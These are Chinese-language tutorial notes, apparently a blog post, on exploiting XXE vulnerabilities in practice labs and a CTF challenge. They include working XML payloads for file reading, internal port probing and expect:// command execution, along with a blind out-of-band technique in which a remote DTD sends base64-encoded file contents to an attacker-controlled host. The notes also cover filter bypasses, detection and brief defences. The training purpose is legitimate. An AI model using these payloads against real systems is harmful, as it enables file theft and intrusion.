WEB漏洞-XXE&XML之利用检测绕过全解(39)

#概念

xml:xml被设计成传输和储存数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容。就类似于一种数据的格式,代码类的一些东西;

xxe:是xml上面的一个漏洞,也被称之为xxe实体注入,漏洞名字叫xml外部实体注入漏洞。

xml是一种数据传出的代码语言,xxe是上面的一个漏洞的全称写法。但是产生在xml上的安全问题。

#危害

文件读取,rce执行,内网攻击,dos攻击

大部分的危害都是可以加载恶意外部文件,然后造成的上面的危害

xml与html的主要差异;xml被设计为传输和储存数据,其焦点是数据的内容。html被设计用来显示数据,其焦点是数据的外观。html指在显示信息,而xml指在传输信息。

判定这个漏洞存在之后,我们该如何去利用,分为两种,第一种是输出形式,利用的结果显示,分为两种情况,一种情况是有回显,一种是回显;比如说要用文件读取,文件读取的内容数据能不能正常的给你回显看到,有回显玩法更多,。

无回显就借助外部引用,进行反向连接配合;

除了这个形式,还有一个过滤,我们绕过思路就是采用协议玩法,换一种协议去执行想要的结果,或者采用外部引用,把核心代码写到外部东西上面去,DTD上面去实现绕过,还有一种编码把一些关键词进行编码,达到关键字的绕过,根据具体情况选出不同的方案。

##演示案例,pikachu靶场

我们先不管是怎么产生的,我们发现这个靶场有这个漏洞,直接去利用他

文件读取

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://w.txt"> ]> <x>&xxe;</x>

这个代码是通用的,读取d盘下面w.txt文件的内容,在靶场的框里面直接复制粘贴

 就读取到了

内网探针或攻击内网应用(触发漏洞地址)

  <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE foo [

    <!ELEMENT foo ANY >

    <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >

    ]>

    <x>&rabbit;</x> 作者:shtome https://www.bilibili.com/read/cv13343258/ 出处:bilibili

看内网有没有开放端口,能不能访问

也可以借助该方法触发漏洞    

这个复制粘贴到靶场去

 这个就表示有这么个文件,而把index.txt换成一个随便写的文件

 返回的就是这种,这个就是不存在这个文件,

这个pyload就是可以帮你确定那个地址有没有那个地址存在,也属于进行了一个端口扫描,看那个端口开不开发。

可以帮忙判定一些内网的信息,

内网探测
RCE-远程代码执行 

​ php环境需要安装expect扩展,我这边用的phpstudy集成环境,没看到这个扩展,故未验证。

这个很难碰到对面有没有开这个扩展,有没有过滤,都会影响

  <?xml version = "1.0"?>

    <!DOCTYPE ANY [

    <!ENTITY xxe SYSTEM "expect://id" >

    ]>

    <x>&xxe;</x> 

引入外部实体dtd

把恶意代码写入dtd文件,再让网站访问dtd,执行其中的代码

需要允许外部实体引用才能实现

<?xml version = "1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://192.168.31.210:8080/evil2.dtd"> %file; ]> <x>&send;</x>

可以自定义攻击代码,还可以绕过部分防御软件

那个dtd可以理解为他是上面的xml的格式文件,他去访问dtd里面内容就会当作xml语言代码去执行,

所以在dtd里面可以写一些这么内容

    evil2.dtd:

    <!ENTITY send SYSTEM "file:///d:/w.txt"> 

就会用file去读取d盘的test文件,

这个很简单就是让他去访问那个dtd文件,然后执行文件里面的xml代码,

条件:看对方代码里面有没有禁止外部实体引用,这也是一种防御手段。

类似于文件包含,类似远程包含原理,这个就是可以远程引用,核心代码在1dtd上面,第一个就是自定义攻击代码,第二种为了绕过一些防御软件代码,绕过对面有waf和检测会跟着用户行为,发现读取就会拦截等等,把核心代码放在服务器远程去请求执行核心代码。

 然后直接复制粘贴那个代码

还是会显示出来内容

 结果就是读取到了文件内容。

然后把靶场的源码改为无回显模式

再粘贴那个读取语句就什么都不会返回了

无回显利用

​ 原理是自己本地搭建一个网站,xxe漏洞让目标网站带着读取到的数据访问我们的网站,然后我们再在本地日志查看数据即可。

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.31.210:8088/test.dtd">
        %dtd;
        %send;
]>
 

-----如果代码不能用就是符合的问题,英文手打一编就好-------

在上面里面用的php协议进行一个base64编码读取的test.txt的内容;读取之后会复制给变量file。

之后去访问一个远程地址dtd,

远程dtd内容://test.dtd,这里的&#x25;是%的编码,因为dtd中不能有%
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM
'http://192.168.31.210:8088/?data=%file;'>"
>
%payload;

最后这个是去访问指定地址,会把变量file给data这个变量,然后这时候就可以写一个接受代码,或者去开启一下日志查看,都可以查看到读取的内容了,

日志查看

 这个文件内容的base64加密指,解码一下就好了,

不回显,就让对方去反向链接,

在ctf实战中会出现

读文件(绕过)

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

    <?xml version = "1.0"?>

    <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>

    <x>&f;</x> 

我们根据的pyload里面有一些必须要用到的关键字,对方代码有过滤,绕过思路就是编码

参考里面第一种采用编码绕过,参考里面是linux代码,别的系统要自己写个脚本

若http被过滤,就可以用参考里面的协议绕过

怎么发现这些白盒就代码审计,黑盒就自己测试。

#xxe漏洞检测

分为白盒和黑盒两种情况,白盒主要去翻他的代码函数点,搜索特定函数,数据类型。

黑盒:人工去看,或者工具去扫,一般web漏洞扫描工具都能找到xxe漏洞,我们更偏向于讲人工,判断漏洞;主要通过爬行的数据包,burp抓包,爬行,爬完之后在数据包里面批量搜索,“Content-Type” 指的判断,如果值为“text/xml”或“application/xml”,则后面的数据是XML数据。

第二种根据传输数据格式,类似“<username>admin</username>”为XML的格式 

如果这两个都没有还要找这个漏洞,就需要去盲猜,没有“text/xml”或“application/xml”不代表不接受,直接更改“Content-Type”的值为“text/xml”或“application/xml”,在接收XML数据的位置提交攻击语句进行测试。

##xxe-lab(XXE漏洞靶场)

 随便输入个账户密码,抓一下数据包

 常规是这样爬行,然后在历史记录里面搜索特定的值,这个是靶场

在历史记录里面

 可以搜索,还可以看mime类型

 然后数据下面那个数据类型就可以作为注入攻击语句的地方,试一下

<?xml version="1.0"?>
<!DOCTYPE Mikasa[
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
然后发送

 读取到test文件的内容了。

这个就是爬行数据包,然后批量查找有没有xml的关键字的数据包,然后打开数据包就发现了漏洞。

##CTF-Jarvis-OJ-Web-XXE安全真题:http://web.jarvisoj.com:9882/ 

打开靶场,go一下抓数据包,在数据包里面发现Content-Type: application/json,采用的json的数据形式,在检测漏洞里面有一个直接更爱Content-Type指,盲猜有没有,

把json改为xml,然后下面语句改为攻击语句

<?xml vesion = "1.0"?>
<!DOTYPE ANY [
<!ENTITIY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

 读取到了。

##自己下整合包漏洞

用nmap去扫描

 

 为什么会是箭头指向的扫描结果,因为只有这个ip有端口,下面那个端口特别多是老师自己,

去访问那个ip地址

 是web类就可以直接用web扫描工具

 老师为了节省时间跳过了这个过程,直接扫描倒了下面有这么一个文件,然后访问,发现了xxe,就可能有这个漏洞

 直接访问xxe

 抓一个数据包

 下面就有很明显的xml语言数据传输格式,就可以在这里进行攻击

 为什么语句要进行base64加密,就不用在写文件所在的地址,这样写他就当前目录下面找test.txt的文件,

读取到了xxe.php内容,拿去base64解密一下就好

在读取一下admin文件的内容看看

 就发现了账户密码。

因为读的是当前目录下的文件,所以返回的也是那个目录下面的账户密码,登录也只能在那个目录的网站登录

而我们输入账户密码登录之后,给个提示,点击红色的红色的链接

 进入到一个新网站啥也看不到,但是没有关系,我们可以去读取整个网址显示的文件,

 根据网址信息,他在根目录下面,所以在文件之前加上./到根目录来,然后读取文件

然后返回值里面有一个base32加密指,揭秘之后是base64加密,在哪去base64解密,就告诉我们了

 再去读整个文件

 

从最钱的那个符号可以看出来是php代码,还是php文件,输入看不懂没关系,直接复制去运行

 就出来答案了

 这种就是一个真实漏洞案列结合

##XXE安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

公开文章:https://www.cnblogs.com/bmjoker/p/9614990.html 

XXEinjector(XXE工具):https://github.com/enjoiz/XXEinjector 

##防御

禁用外部实体

国旅用户的一些xml数据提交

xxe产生根本原因,网站有接受xml数据,但是又过滤不严谨。

burp官方插件库里面有xxe漏洞检测。直接去网上搜教程就有。

ss

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
泛微OA是一种常见的企业办公自动化系统,而XXE(XML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值